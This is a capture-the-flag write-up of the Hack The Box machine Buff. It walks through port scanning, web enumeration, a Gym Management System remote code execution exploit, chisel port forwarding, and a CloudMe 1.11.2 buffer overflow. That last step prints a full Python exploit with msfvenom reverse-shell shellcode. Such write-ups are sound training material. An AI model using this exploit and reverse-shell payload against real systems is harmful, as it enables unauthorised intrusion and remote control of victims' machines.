This post documents the complete walkthrough of Buff, a retired vulnerable VM created by egotisticalSW, and hosted at Hack The Box. If you are uncomfortable with spoilers, please stop reading now.

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Buff is a retired vulnerable VM from Hack The Box.

Information Gathering

Let’s start with a masscan probe to establish the open ports in the host.

# masscan -e tun0 -p1-65535,U:1-65535 --rate=500

Starting masscan 1.0.5 ( at 2020-07-19 08:09:57 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 8080/tcp on
Discovered open port 7680/tcp on

Hold up. Am I seeing things? Only two open ports? Let’s do one better with nmap scanning the discovered ports to establish their services.

# nmap -n -v -Pn -p7680,8080 -A --reason -oN nmap.txt
7680/tcp filtered pando-pub no-response
8080/tcp open     http      syn-ack ttl 127 Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
|_http-server-header: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.6
|_http-title: mrb3n's Bro Hut

Wow, this is more of a shit show than I expect. Well, in any case, this is what the http service looks like.

I see now where the name of the box gets its inspiration from. :laughing:

Directory/File Enumeration

Let’s see what we can glean from wfuzz and quickhits.txt from SecLists.

# wfuzz -w /usr/share/seclists/Discovery/Web-Content/quickhits.txt -t 20 --hc '403,404'
* Wfuzz 2.4.5 - The Web Fuzzer                         *

Total requests: 2439

ID           Response   Lines    Word     Chars       Payload

000000117:   200        2 L      11 W     66 Ch       "/.gitattributes"
000000501:   200        109 L    225 W    2532 Ch     "/admin%20/"
000000511:   200        109 L    225 W    2532 Ch     "/Admin/"
000000512:   200        109 L    225 W    2532 Ch     "/admin/"
000001177:   200        121 L    278 W    4282 Ch     "/edit.php"
000001220:   503        39 L     98 W     1058 Ch     "/examples/"
000001965:   200        16 L     39 W     309 Ch      "/"
000001971:   200        3 L      20 W     137 Ch      "/register.php"
000002256:   301        9 L      30 W     344 Ch      "/Upload"
000002249:   200        4 L      24 W     209 Ch      "/up.php"
000002262:   200        2 L      12 W     107 Ch      "/upload.php"

Total time: 175.7757
Processed Requests: 2439
Filtered Requests: 2428
Requests/sec.: 13.87563

Pivoting on, I was able to download the source code of the so-called Gym Management System.

# curl -s
gym management system

Gym Management System

This the my gym management system it is made using PHP,CSS,HTML,Jquery,Twitter Bootstrap.
All sql table info can be found in table.sql.

more free projects

click here -

YouTube Demo -

Sure saves plenty of time and effort from fuzzing with a larger wordlist.

Gym Management System 1.0 - Unauthenticated Remote Code Execution

A little Googling produces the exploit that’s a perfect fit for this web application.


I’d better copy nc.exe over to get a better shell.

There we go.

What is CloudMe_1112.exe? Looks interesting. Well, the file user.txt is not surprisingly at shaun’s desktop.

Privilege Escalation

During enumeration of shaun’s account, I noticed that 8888/tcp is listening on the loopback interface.

Pivoting on the process ID, a process CloudMe.exe was the one responsible for it.

CloudMe 1.11.2 - Buffer Overflow (PoC)

A little Googling produces the exploit I think is relevant to my observation.

The only caveat is to forward port 8888/tcp to my machine’s loopback interface. That can be easily done with chisel. How chisel work is beyond the scope of this write-up. I suggest reading on the GitHub repository for more details.

On my attacking machine

# chisel server -p 9999 --reverse

This set up a chisel server listening at 9999/tcp on all interfaces, and allow the client to specify reverse port forwarding remotes.

On the remote machine

I need to send a copy of the chisel binary for Windows over, similar to how I transfer nc.exe over. Run the following command:

C:\Users\shaun\Downloads> start chisel client R:8888:

You should see something like this on your server.


I ran exploit EDB-ID 48389 with the following msfvenom payload.
import socket

target = ""

padding1   = b"\x90" * 1052
EIP        = b"\xB5\x42\xA8\x68" # 0x68A842B5 -> PUSH ESP, RET
NOPS       = b"\x90" * 30

# msfvenom -p windows/shell_reverse_tcp LHOST= LPORT=4444 -b '\x00\x0a\x0d' -f python
payload =  b""
payload += b"\xba\xcb\xa7\xa2\x1b\xd9\xc5\xd9\x74\x24\xf4\x5e\x31"
payload += b"\xc9\xb1\x52\x31\x56\x12\x83\xee\xfc\x03\x9d\xa9\x40"
payload += b"\xee\xdd\x5e\x06\x11\x1d\x9f\x67\x9b\xf8\xae\xa7\xff"
payload += b"\x89\x81\x17\x8b\xdf\x2d\xd3\xd9\xcb\xa6\x91\xf5\xfc"
payload += b"\x0f\x1f\x20\x33\x8f\x0c\x10\x52\x13\x4f\x45\xb4\x2a"
payload += b"\x80\x98\xb5\x6b\xfd\x51\xe7\x24\x89\xc4\x17\x40\xc7"
payload += b"\xd4\x9c\x1a\xc9\x5c\x41\xea\xe8\x4d\xd4\x60\xb3\x4d"
payload += b"\xd7\xa5\xcf\xc7\xcf\xaa\xea\x9e\x64\x18\x80\x20\xac"
payload += b"\x50\x69\x8e\x91\x5c\x98\xce\xd6\x5b\x43\xa5\x2e\x98"
payload += b"\xfe\xbe\xf5\xe2\x24\x4a\xed\x45\xae\xec\xc9\x74\x63"
payload += b"\x6a\x9a\x7b\xc8\xf8\xc4\x9f\xcf\x2d\x7f\x9b\x44\xd0"
payload += b"\xaf\x2d\x1e\xf7\x6b\x75\xc4\x96\x2a\xd3\xab\xa7\x2c"
payload += b"\xbc\x14\x02\x27\x51\x40\x3f\x6a\x3e\xa5\x72\x94\xbe"
payload += b"\xa1\x05\xe7\x8c\x6e\xbe\x6f\xbd\xe7\x18\x68\xc2\xdd"
payload += b"\xdd\xe6\x3d\xde\x1d\x2f\xfa\x8a\x4d\x47\x2b\xb3\x05"
payload += b"\x97\xd4\x66\x89\xc7\x7a\xd9\x6a\xb7\x3a\x89\x02\xdd"
payload += b"\xb4\xf6\x33\xde\x1e\x9f\xde\x25\xc9\xaa\x14\x35\x1e"
payload += b"\xc3\x2a\x35\x31\x4f\xa2\xd3\x5b\x7f\xe2\x4c\xf4\xe6"
payload += b"\xaf\x06\x65\xe6\x65\x63\xa5\x6c\x8a\x94\x68\x85\xe7"
payload += b"\x86\x1d\x65\xb2\xf4\x88\x7a\x68\x90\x57\xe8\xf7\x60"
payload += b"\x11\x11\xa0\x37\x76\xe7\xb9\xdd\x6a\x5e\x10\xc3\x76"
payload += b"\x06\x5b\x47\xad\xfb\x62\x46\x20\x47\x41\x58\xfc\x48"
payload += b"\xcd\x0c\x50\x1f\x9b\xfa\x16\xc9\x6d\x54\xc1\xa6\x27"
payload += b"\x30\x94\x84\xf7\x46\x99\xc0\x81\xa6\x28\xbd\xd7\xd9"
payload += b"\x85\x29\xd0\xa2\xfb\xc9\x1f\x79\xb8\xfa\x55\x23\xe9"
payload += b"\x92\x33\xb6\xab\xfe\xc3\x6d\xef\x06\x40\x87\x90\xfc"
payload += b"\x58\xe2\x95\xb9\xde\x1f\xe4\xd2\x8a\x1f\x5b\xd2\x9e"

overrun    = b"C" * (1500 - len(padding1 + NOPS + EIP + payload))

foo = padding1 + EIP + NOPS + payload + overrun

  s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
except Exception as e:

Getting root.txt with Administrator privileges is trivial.